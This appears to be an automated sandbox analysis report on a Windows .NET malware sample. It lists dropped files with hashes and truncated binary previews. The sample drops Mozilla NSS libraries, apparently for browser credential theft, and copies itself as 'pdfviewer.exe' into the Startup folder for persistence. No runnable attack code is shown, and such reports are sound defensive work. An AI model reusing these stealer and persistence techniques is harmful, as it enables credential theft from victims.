Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\8047D2AF\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\nss3.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\nssdbm3.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\ucrtbase.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xiqzzmi.oo1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f520xw3u.ye2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ferz4oc0.xtt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n41tuqz0.jgu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1050624
Entropy (8bit):	6.790125662518936
Encrypted:	false
SSDEEP:	24576:wJVcWy9iv8r2FHqba1ZZt+duVzG7FFqZBmeFcim:wJVcWy90ZZM0WFFqZEeFci
MD5:	EA1F54C1AD44F908FA59EADF9E5C6D29
SHA1:	02D073385383FAD5256E2BD3C31E4CE10F949F64
SHA-256:	CB6D55EC949FD1539F519FE227AE3E9968220B7691420D78D225236618F39F0A
SHA-512:	D9F6A8EC4A00348B5589FFF5AC47E66662E6D17968EC852D04B4F5559F9899AFB0202A8FAB482757F2B71ED7A68F56F2F42F6203D5B2363C1DDA8EB3EB2CA86A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ... ....@.. .......................`............@.....................................S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......l...<o..............................................................0.w,a..Q....m...jp5.c.d.2......y.......+L...\|.~.-.....d.... .jHq...A..}......mQ.....V.l...kdz.b...e.O\...l.cc=....... n;^.iL.A`.rqg....<G..K....k......5l..B...@....l.2u\.E....Y=..0.&:..Q.Q...a....!#.V...........(..._....$....\|o/.LhX..a.=-f..A.v.q... .*....q......3....x4............j.-=m..ld..\c..Qkkbal..0e.N.b...l{.......W.....eP....\|......bI-...\|.eL..Xa.M.Q.:t....0..A..J..=

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.790125662518936
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	962Zrwh5bU.exe
File size:	1'050'624 bytes
MD5:	ea1f54c1ad44f908fa59eadf9e5c6d29
SHA1:	02d073385383fad5256e2bd3c31e4ce10f949f64
SHA256:	cb6d55ec949fd1539f519fe227ae3e9968220b7691420d78d225236618f39f0a
SHA512:	d9f6a8ec4a00348b5589fff5ac47e66662e6d17968ec852d04b4f5559f9899afb0202a8fab482757f2b71ed7a68f56f2f42f6203d5b2363c1dda8eb3eb2ca86a
SSDEEP:	24576:wJVcWy9iv8r2FHqba1ZZt+duVzG7FFqZBmeFcim:wJVcWy90ZZM0WFFqZEeFci
TLSH:	57257C1637E8461ED1AE4FFBA4B43B198FB0E8036352E6496863BE593C437510BD13A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ... ....@.. .......................`............@................................

File Icon


Icon Hash:	0544801b6464f40b

Static PE Info

General

Entrypoint:	0x4f11fe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA304A0A8 [Thu Aug 31 23:18:00 2056 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
